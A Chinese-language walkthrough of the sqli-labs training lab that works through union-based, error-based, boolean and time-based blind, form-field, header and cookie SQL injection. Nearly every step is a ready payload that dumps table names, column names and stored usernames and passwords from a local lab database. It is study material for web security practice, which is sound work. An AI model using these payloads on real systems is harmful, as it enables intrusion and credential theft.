基于单引号的报错字符型注入
先用单引号测试
根据报错信息可以知道多了个单引号,最外边的’‘的单引号可以忽略,它不是SQL语句中的单引号,而是报错提示根据报错位置添加的。很明显sql语句变成’1’’ LIMIT 0,1
,而我们需要做的是闭合前面的语句,然后在后面拼接我们需要注入查询的语句。
查看源码:
跟我们推测的一样,根据SQL语句闭合前面,注释后面的’
拼接的原SQL语句如下:(红框是我们能控制的$id)
很明显,我们在前面拼接了一个’而把后面的’注释了
这样我们就能进行注入SQL语句进行查询我们想要的信息:
判断注入点,进行闭合:
http://127.0.0.1/sql-labs/less-1/?id=1'
http://127.0.0.1/sql-labs/less-1/?id=1'--+
判断字段数:
http://127.0.0.1/sql-labs/less-1/?id=1' order by 3 --+
(这里order by 前面id值需要为true)
判断回显位:
http://127.0.0.1/sql-labs/less-1/?id=-1' union select 1,2,3--+
查询用户名(权限),数据库版本,当前数据库名:
http://127.0.0.1/sql-labs/less-1/?id=-1' union select
1,concat_ws(':',user(),version(),database()),3--+
查询当前数据库中的所有表名:
http://127.0.0.1/sql-labs/less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where
table_schema=database()--+
注释符被过滤:
http://127.0.0.1/sql-labs/less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() and 1='1
查询users表中的所有字段名:
http://127.0.0.1/sql-labs/less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where
table_name='users'--+
最好详细指出,防止库中有多个名字相同的表
http://127.0.0.1/sql-labs/less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where
table_name='users' and table_schema=database()--+
查询需要查询的字段所有数据:
http://127.0.0.1/sql-labs/less-1/?id=-1' union select 1,group_concat(concat_ws(':',username,password)),3 from security.users--+
单引号测试下
?id=1’
多出来一个’,所以应该是没有用符号括起来,则是整数型,
可以用1 and 1=1、1 and 1=2 测试下。
看下代码
果然没错,直接注入即可
列举几条payload:
查询用户权限,数据库版本,当前数据库名:
http://127.0.0.1/sql-labs/less-2/?id=-1 union select
1,concat_ws(':',user(),version(),database()),3
查看当前数据库所有表名:
http://127.0.0.1/sql-labs/less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
查询username、password字段的所有数据:
http://127.0.0.1/sql-labs/less-2/?id=-1 union select
1,group_concat(concat_ws(':',username,password)),3 from security.users
?id=1’测试,报错回显如下
由报错知道数据库$id应该是被(’’)所包括:
根据所猜测语句进行闭合:
') payload–+
http://127.0.0.1/sql-labs/less-3/?id=-1') union select 1,concat_ws(':',user(),version(),database()),3--+
?id=1’、?id=1’)测试,没有回显出错误信息
?id=1",成功回显出错误信息
由报错信息可知道是由("$id")包裹的。
查看源码:
正如我们所说
直接")–+闭合即可
http://127.0.0.1/sql-labs/less-4/?id=-1") union select 1,concat_ws(':',user(),version(),database()),3--+
?id=1’测试,发现报错
根据报错进行闭合
?id=1’–+
发现并无回显,查看关键代码:
发现语句执行成功,则只会返回’you are in’,执行错误则打印出报错语句
这里我们可以尝试布尔型盲注或者使用报错注入,由于后面有专门的盲注题,所以这里我们用报错注入:
有很多的报错函数,这里我们用updatexml,其他可以自行百度,我们通过报错函数将SQL执行结果带出到报错语句中:
查询当前数据库、数据库版本、用户权限:
http://127.0.0.1/sql-labs/less-5/?id=1' and updatexml(1,concat(0x7e,(select
concat_ws(':',database(),version(),user()))),1)--+
我们来查询所有数据库:
http://127.0.0.1/sql-labs/less-5/?id=1' and updatexml(1,concat(0x7e,(select
group_concat(schema_name) from information_schema.schemata )),1)--+
注意,updatexml报错最多只能显示32位,我们结合SUBSTR、mid等字符串截取函数来获取数据就行了。
http://127.0.0.1/sql-labs/less-5/?id=1' and updatexml(1,concat(0x7e,mid((select group_concat(schema_name) from information_schema.schemata ),30,60)),1)--+
http://127.0.0.1/sql-labs/less-5/?id=1' and updatexml(1,concat(0x7e,mid((select group_concat(schema_name) from
information_schema.schemata ),60,90)),1)--+
注意以此类推来获取所有数据
查询当前库:
http://127.0.0.1/sql-labs/less-5/?id=1' and updatexml(1,concat(0x7e,(select database())),1)--+
http://127.0.0.1/sql-labs/less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where
table_schema=database())),1)--+
查询users表中的所有字段:
http://127.0.0.1/sql-labs/less-5/?id=1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where
table_name=‘users’),0x7e),1)–+
超过32位,通过截取字段的方法截取后面的数据:
http://127.0.0.1/sql-labs/less-5/?id=1' and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from
information_schema.columns where table_name='users'),30,60),0x7e),1)--+
http://127.0.0.1/sql-labs/less-5/?id=1' and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from
information_schema.columns where table_name='users'),58,80),0x7e),1)--+
http://127.0.0.1/sql-labs/less-5/?id=1' and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from
information_schema.columns where table_name='users'),78,90),0x7e),1)--+
http://127.0.0.1/sql-labs/less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,':',password) from security.users),0x7e),1)--+
http://127.0.0.1/sql-labs/less-5/?id=1' and updatexml(1,concat(0x7e,mid((select group_concat(username,':',password)
from security.users),30),0x7e),1)--+
http://127.0.0.1/sql-labs/less-6/?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)--+
在这里将报错改为了指定语句,则没有显错注入了
在这里他很明显要我们写入文件,而写入文件是需要条件的。
1、数据库用户需要有写文件的权限,最好为root
2、在mysql.ini配置中secure_file_priv 不为NULL
3、要知道网站的绝对路径
show global variable like “secure%”
secure_file_priv默认是NULL,NULL的话是无法进行导入导出文件(into outfile,load_file…),我们为了能写入写出文件,我们需要在配置文件mysql.ini中加上一条secure_fiel_prve=[空格],然后重启使配置生效。
重启后结果:
权限我们可以通过user()模糊查出,路径可以通过报错,或者信息收集是否敏感phpinfo等方式进行找出绝对路径。
布尔型盲注
很明显是基于布尔的盲注,在SQL语句执行正确的时候只显示’you are in’,执行错误时无回显值,所以我们可以根据这个特征进行布尔型盲注;
判断mysql版本是否为5.0或以上:
http://127.0.0.1/sql-labs/less-8/?id=1' and mid(version(),1,1)=5 --+
判断当前数据库长度(为8):
http://127.0.0.1/sql-labs/less-8/?id=1' and length(database())=8 --+
截取数据库第一位的ascii码看是不是等于115:
http://127.0.0.1/sql-labs/less-8/?id=1' and (ord(mid(database(),1,1)))=
115 --+
通过以下盲注语句知道当前数据库为security:
http://127.0.0.1/sql-labs/less-8/?id=1' and (ord(mid(database(),1,1)))=
115 --+
http://127.0.0.1/sql-labs/less-8/?id=1' and (ord(mid((select
database()) ,2,1))) = 101 --+
http://127.0.0.1/sql-labs/less-8/?id=1' and (ord(mid((select
database()) ,3,1))) = 99 --+
http://127.0.0.1/sql-labs/less-8/?id=1' and (ascii(substr((select
database()) ,4,1))) = 117 --+
http://127.0.0.1/sql-labs/less-8/?id=1' and (ascii(substr((select database()) ,5,1))) = 114 --+
http://127.0.0.1/sql-labs/less-8/?id=1' and (ascii(substr((select database()) ,6,1))) = 105 --+
http://127.0.0.1/sql-labs/less-8/?id=1' and (ascii(substr((select database()) ,7,1))) = 116 --+
http://127.0.0.1/sql-labs/less-8/?id=1' and (ascii(substr((select database()) ,8,1))) = 121 --+
很明显,这里无论语句执行是否成功,都只会回显出相同的页面,所以这需要通过基于时间的盲注来猜解数据;
猜解注入点:
http://127.0.0.1/sql-labs/less-9/?id=1' and sleep(5) --+
测试数据库版本:
http://192.168.1.112/sql-labs/less-9/?id=1' and if(mid(version(),1,1)=
5,sleep(5),1) --+
测试数据库长度:
http://192.168.1.112/sql-labs/less-9/?id=1' and if(length(database())=8,sleep(5),1) --+
测试数据库名:
http://192.168.1.112/sql-labs/less-9/?id=1' and
if(ascii(substr(database(),1,1))=115,sleep(5),1) --+
http://192.168.1.112/sql-labs/less-9/?id=1' and
if(ascii(substr(database(),2,1))>115,sleep(5),1) --+
http://192.168.1.112/sql-labs/less-9/?id=1' and
if(ascii(substr(database(),2,1))=101,sleep(5),1) --+
…
http://192.168.1.112/sql-labs/less-9/?id=1' and
if(ascii(substr(database(),8,1))=120,sleep(5),1) --+
测试表长度:
http://192.168.1.112/sql-labs/less-9/?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(5),1) --+
http://192.168.1.112/sql-labs/less-9/?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5,sleep(5),1) --+ //第四张 users表长度为5
测试表名:
http://192.168.1.112/sql-labs/less-9/?id=1' and if(ascii(mid((select table_name from information_schema.tables where table_schema=database()
limit 3,1),1,1))=117,sleep(5),1) --+ //117='u'
http://192.168.1.112/sql-labs/less-9/?id=1' and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 3,1),2,1))=115,sleep(5),1) --+ //115='s'
猜解第二个字段名长度username:
http://192.168.1.112/sql-labs/less-9/?id=1' and if(length((select column_name from information_schema.columns where table_name='users' limit
1,1))=8,sleep(5),1) --+
猜解字段名:
http://192.168.1.112/sql-labs/less-9/?id=1' and if(ascii(mid((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))=117,sleep(5),1) --+ //猜解user表的第二个字段(limit 1,1)的第一个字符mid(sql,1,1) 117='u'
和第十题第一样,都是延时注入,只不过将单引号改成双引号了。
http://192.168.1.112/sql-labs/less-10/?id=1" and if(length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5,sleep(5),1) --+
判断字段:
uname=admin' order by 2#& passwd=asd
uname=aaa' union select group_concat(table_name),2 from
information_schema.tables where table_schema=database()#& passwd=123
与11的差不多,就是参数闭合符号不一样了而已
闭合,判断字段数:
uname=admin") order by 2#& passwd=asd
查表:
uname=adminxx") union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#& passwd=asd
这里语句执行成功后是没有回显的,执行错误语句会打印错误信息,所以我们这里可以使用报错注入或者是盲注;
uname=qwe') and updatexml(1,concat(0x7e,(select database()),0x7e),1)#&passwd=asd
和上面的13其实是一样的,只是闭合符号不一样,只需要闭合改下即可
uname=qwe" and updatexml(1,concat(0x7e,(select
database()),0x7e),1)#&passwd=asd
去掉了回显和报错,我们通过延时盲注来解决:
数据库长度:
uname=admin' and if(length(database())=8,sleep(5),1) #&passwd=123
uname=admin' and if(length(database())=8,sleep(5),1) -- &passwd=123
数据库第一位:
uname=admin' and if(ascii(substr(database(),1,1))=115,sleep(3),1) #&passwd=123
参数闭合不同罢了,改变闭合,pyload还是一样
查数据库的长度:
uname=admin") and if(length(database())=8,sleep(5),1) #&passwd=123
查数据库的第一位:
uname=admin' and if(ascii(substr(database(),1,1))=115,sleep(3),1)
#&passwd=123
修改密码
这里通过check_input()这个过滤函数的作用是截取15个字符串,接着判断是否开启了GPC,如果存在GPC,就将\去掉,接着再判断value是否为十进制数,如果不是,则转义一些特殊字符。并将过滤的结果返回。
check_input()进行过滤,但这里只过滤了uname,并没有过滤passwd。所以我们可以直接在passwd字段下手
查数据库名:
uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select database())),1)#
uname和passwd都使用check_input过滤,而在这里将user-agent和ip作为记录,插入数据库,并无过滤,开burp,这里用的是insert,直接在user-agent注入即可:
keepb1ue' or updatexml(1,concat(0x7e,(database()),0x7e),0) or '
同样将uname和passwd过滤了,这道也是header头注入,只不过现在换成了referer。
1' and updatexml(1,concat(0x7e,(select database())),1) and 1='1
uname和passwd都还是一样的被过滤了
这里可以尝试cookie注入(有关代码如下)
测试:
就是一个普通注入点,注入位置改变了而已;报错注入,联合查询,盲注随便选,你喜欢就好
和上道题一样,只不过参数闭合不同和进行base64编码
在设置cookie的时候进行编码,取出数据直接解码后无过滤插入到数据库中去